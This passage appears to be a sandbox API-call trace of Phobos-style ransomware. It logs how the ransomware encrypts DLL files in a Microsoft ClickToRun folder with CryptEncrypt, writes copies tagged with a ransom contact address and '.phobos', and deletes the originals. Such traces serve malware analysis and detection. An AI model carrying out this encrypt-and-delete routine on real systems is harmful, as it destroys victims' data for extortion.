lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x122, lpOverlapped=0x0) returned 1 [0163.756] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0163.756] CloseHandle (hObject=0x2c8) returned 1 [0163.756] CloseHandle (hObject=0x2cc) returned 1 [0163.757] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1 [0163.838] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0163.838] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0163.839] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=11616) returned 1 [0163.839] CloseHandle (hObject=0x2c8) returned 1 [0163.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0163.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0163.840] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.840] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0163.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0163.840] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1450) returned 1 [0163.840] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0163.840] ReadFile (in: hFile=0x2c8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x2d60, lpOverlapped=0x0) returned 1 [0164.751] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x2d70, dwBufLen=0x2d70 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x2d70) returned 1 [0164.751] WriteFile (in: hFile=0x2c4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x2d70, lpOverlapped=0x0) returned 1 [0164.752] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d16d0) returned 1 [0164.752] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0164.752] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70, dwBufLen=0x70 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70) returned 1 [0164.752] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0164.752] WriteFile (in: hFile=0x2c4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x122, lpOverlapped=0x0) returned 1 [0164.752] CryptDestroyKey (hKey=0x1d1450) returned 1 [0164.752] CloseHandle (hObject=0x2c8) returned 1 [0164.752] CloseHandle (hObject=0x2c4) returned 1 [0164.759] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0164.760] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0164.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0164.761] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=19136) returned 1 [0164.761] CloseHandle (hObject=0x2c4) returned 1 [0164.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0164.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0164.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0164.761] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0164.761] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0164.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0164.762] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1690) returned 1 [0164.762] CryptSetKeyParam (hKey=0x1d1690, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0164.762] ReadFile (in: hFile=0x2c4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4ac0, lpOverlapped=0x0) returned 1 [0164.790] CryptEncrypt (in: hKey=0x1d1690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0) returned 1 [0164.790] WriteFile (in: hFile=0x2c8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4ad0, lpOverlapped=0x0) returned 1 [0164.791] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d15d0) returned 1 [0164.791] CryptSetKeyParam (hKey=0x1d15d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0164.791] CryptEncrypt (in: hKey=0x1d15d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70, dwBufLen=0x70 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70) returned 1 [0164.791] CryptDestroyKey (hKey=0x1d15d0) returned 1 [0164.791] WriteFile (in: hFile=0x2c8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x122, lpOverlapped=0x0) returned 1 [0164.791] CryptDestroyKey (hKey=0x1d1690) returned 1 [0164.791] CloseHandle (hObject=0x2c4) returned 1 [0164.792] CloseHandle (hObject=0x2c8) returned 1 [0164.797] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0164.799] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0164.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0164.800] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=19648) returned 1 [0164.800] CloseHandle (hObject=0x2c8) returned 1 [0164.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0164.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0164.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0164.801] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0164.801] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0164.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0164.801] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1a50) returned 1 [0164.801] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0164.801] ReadFile (in: hFile=0x2c8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4cc0, lpOverlapped=0x0) returned 1 [0164.813] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4cd0) returned 1 [0164.813] WriteFile (in: hFile=0x2c4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4cd0, lpOverlapped=0x0) returned 1 [0164.815] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1a90) returned 1 [0164.815] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0164.815] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60, dwBufLen=0x60 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x60) returned 1 [0164.815] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0164.815] WriteFile (in: hFile=0x2c4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x112, lpOverlapped=0x0) returned 1 [0164.815] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0164.815] CloseHandle (hObject=0x2c8) returned 1 [0164.816] CloseHandle (hObject=0x2c4) returned 1 [0164.818] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0164.821] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0165.418] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0165.418] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=19136) returned 1 [0165.418] CloseHandle (hObject=0x2e4) returned 1 [0165.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0165.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0165.419] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.419] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.420] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1b90) returned 1 [0165.420] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.420] ReadFile (in: hFile=0x2e4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4ac0, lpOverlapped=0x0) returned 1 [0165.588] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4ad0) returned 1 [0165.588] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4ad0, lpOverlapped=0x0) returned 1 [0165.590] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1550) returned 1 [0165.590] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.590] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70, dwBufLen=0x70 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70) returned 1 [0165.590] CryptDestroyKey (hKey=0x1d1550) returned 1 [0165.590] WriteFile (in: hFile=0x2e8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x122, lpOverlapped=0x0) returned 1 [0165.590] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0165.590] CloseHandle (hObject=0x2e4) returned 1 [0165.591] CloseHandle (hObject=0x2e8) returned 1 [0165.592] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0165.594] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0165.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.594] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=19648) returned 1 [0165.594] CloseHandle (hObject=0x2e8) returned 1 [0165.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0165.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0165.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0165.595] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.595] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0165.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0165.595] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1410) returned 1 [0165.595] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.596] ReadFile (in: hFile=0x2e8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4cc0, lpOverlapped=0x0) returned 1 [0165.636] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4cd0) returned 1 [0165.636] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4cd0, lpOverlapped=0x0) returned 1 [0165.639] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d17d0) returned 1 [0165.639] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0165.639] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70, dwBufLen=0x70 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x70) returned 1 [0165.639] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0165.639] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x122, lpOverlapped=0x0) returned 1 [0165.639] CryptDestroyKey (hKey=0x1d1410) returned 1 [0165.639] CloseHandle (hObject=0x2e8) returned 1 [0165.640] CloseHandle (hObject=0x2e4) returned 1 [0165.641] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0165.643] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0165.643] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0165.644] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=24768) returned 1 [0165.644] CloseHandle (hObject=0x2e4) returned 1 [0165.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 